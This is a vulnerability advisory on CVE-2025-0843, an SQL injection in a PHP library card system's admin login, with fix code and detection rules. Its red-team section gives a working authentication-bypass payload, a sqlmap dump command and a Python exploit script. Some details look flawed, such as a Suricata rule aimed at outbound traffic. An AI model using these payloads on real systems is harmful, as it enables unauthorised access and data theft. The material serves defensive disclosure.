CVE-2025-0843

Executive Summary

CVE-2025-0843 is a critical SQL injection vulnerability in the needyamin Library Card System version 1.0. The flaw resides in the admindashboard.php file within the Admin Panel, where the email and password parameters are not sanitized before being used in SQL queries. An unauthenticated attacker can exploit this remotely to extract, modify, or delete database contents, potentially gaining full administrative control. The exploit has been publicly disclosed, increasing the risk of active exploitation. No patch is available from the vendor.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application. However, if the system is deployed via a container or third-party repository, verify the integrity of the source.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. Public exploit code exists, and no patch is available. Immediate mitigation is required.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the authentication mechanism of the admin panel. The admindashboard.php script likely constructs SQL queries by directly concatenating user-supplied email and password parameters without proper sanitization or parameterized queries.

Example vulnerable code (conceptual):

$email = $_POST['email'];
$password = $_POST['password'];
$query = "SELECT * FROM admin WHERE email='$email' AND password='$password'";
$result = mysqli_query($conn, $query);

An attacker can inject SQL commands by providing input such as:

• email: admin' OR '1'='1
• password: anything

This would result in the query:

SELECT * FROM admin WHERE email='admin' OR '1'='1' AND password='anything'

Since '1'='1' is always true, the query returns the first admin record, bypassing authentication.

Impact: Full admin access, data exfiltration, database compromise, and potential server takeover if the database user has file write privileges.

Vulnerable vs. Patched Code

Vulnerable Code (conceptual):

$email = $_POST['email'];
$password = $_POST['password'];
$query = "SELECT * FROM admin WHERE email='$email' AND password='$password'";
$result = mysqli_query($conn, $query);

Patched Code (recommended):

$email = mysqli_real_escape_string($conn, $_POST['email']);
$password = mysqli_real_escape_string($conn, $_POST['password']);
$query = "SELECT * FROM admin WHERE email='$email' AND password='$password'";
$result = mysqli_query($conn, $query);

Better approach (parameterized query):

$stmt = $conn->prepare("SELECT * FROM admin WHERE email=? AND password=?");
$stmt->bind_param("ss", $email, $password);
$email = $_POST['email'];
$password = $_POST['password'];
$stmt->execute();
$result = $stmt->get_result();

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running needyamin Library Card System 1.0
• Network access to the admin panel (e.g., http://target/admindashboard.php)

Exploitation Steps:

1. Manual SQL Injection (Authentication Bypass):

   • Send a POST request to admindashboard.php with:

     email=admin' OR '1'='1' -- -
     password=anything
     

   • This bypasses authentication and grants admin access.

2. Data Extraction using SQLMap:

   sqlmap -u "http://target/admindashboard.php" --data="email=admin&password=test" --batch --dump
   

3. Automated Exploit (Python):

   import requests
   
   url = "http://target/admindashboard.php"
   payload = {"email": "admin' OR '1'='1' -- -", "password": "anything"}
   response = requests.post(url, data=payload)
   if "Dashboard" in response.text:
       print("[+] Authentication bypass successful")
   

Blue Team

Detection & Prevention:

• Monitor for SQL injection patterns in POST parameters (e.g., OR, ', --).
• Implement a Web Application Firewall (WAF) with rules to block SQLi.
• Use parameterized queries or prepared statements in all database interactions.
• Restrict database user privileges (e.g., no FILE or CREATE privileges).
• Enable detailed logging of all authentication attempts.

Lab Setup for Testing:

1. Deploy the vulnerable application in an isolated environment (e.g., Docker).
2. Use a tool like sqlmap to simulate attacks and verify detection rules.
3. Test WAF rules by sending malicious payloads and checking logs.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /admindashboard.php containing SQL keywords (OR, AND, UNION, SELECT, ', --).
  • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
  • Outbound database connections from the web server to unexpected IPs.

• File IOCs:

  • Modified or new files in the web root (e.g., webshells like cmd.php).
  • Suspicious entries in web server logs (e.g., access.log with SQL injection patterns).

• System IOCs:

  • Unexpected database dumps or large data transfers.
  • New user accounts or elevated privileges in the database.

Detection Engineering

YARA Rule

rule CVE_2025_0843_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-0843"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-0843"
    strings:
        $sqli1 = /email=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli2 = /password=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli3 = /admin' OR '1'='1/i
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against Library Card System Admin Panel
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection patterns in POST requests to admindashboard.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admindashboard.php'
        cs-uri-query|contains:
            - 'email='
            - 'password='
    keywords:
        - ' OR '
        - ' AND '
        - ' UNION '
        - ' SELECT '
        - " ' "
        - ' -- '
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in passwords (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-0843 SQL Injection Attempt on Library Card System";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admindashboard.php"; http_uri;
    content:"email="; http_client_body;
    pcre:"/(?:OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i";
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application from the internet if possible.
2. Apply virtual patching using a WAF (e.g., ModSecurity with OWASP CRS).
3. Manually fix the code by replacing all SQL queries with parameterized statements.
4. Change all admin passwords immediately.
5. Audit database logs for any signs of compromise.

Long-Term Fix:

• Rewrite the authentication logic using prepared statements.
• Implement input validation and output encoding.
• Conduct a full security audit of the application.
• If the vendor remains unresponsive, consider migrating to a supported alternative.

Workaround:

• Restrict access to admindashboard.php via .htaccess or firewall rules (e.g., allow only specific IPs).

Valters IT